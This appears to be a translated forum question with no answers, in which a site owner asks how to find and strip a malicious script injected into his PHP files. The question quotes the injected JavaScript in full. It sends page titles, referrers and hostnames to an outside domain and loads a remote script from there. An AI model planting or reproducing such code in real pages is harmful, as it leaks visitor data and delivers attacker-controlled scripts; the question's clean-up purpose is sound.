找到所有php文件并用空格替换它们

时间:2016-01-06 15:41:03

标签: php regex

我想在服务器上找到包含此字符串的所有.php个文件(其错误的脚本字符串我试图替换,因为它嵌入了我的文件中):

<script>
    var a=''; 
    setTimeout(10); 
    var default_keyword = encodeURIComponent(document.title); 
    var se_referrer = encodeURIComponent(document.referrer); 
    var host = encodeURIComponent(window.location.host); 
    var base = "http://bobreknakliturkiye.com/js/jquery.min.php"; 
    var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); 

    if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== '')
        {document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}

</script>

由于此字符串包含一些转义字符,因此将其放入sed时出现问题。 示例:find /home/www -type f -print0 | xargs -0 sed -i s/'<script>[^)]*<\/script>'/'<script>Stuff To Replace With<\/script>'/g 但未完成。

其他选项可能是:

  • 找到所有错误的.php文件并将其保存在简称bad.txt文件中 所以文件看起来像:

./ path1_to_first_bad_file / bad1.php

./ path2_to_first_bad_file / bad2.php

  • 使用bashphp脚本加载readfile之类的文件,找到每个文件并替换为某种模式(空格或其他内容)。

我的问题是,我该怎么做?

谢谢, 迈克尔

0 个答案:

没有答案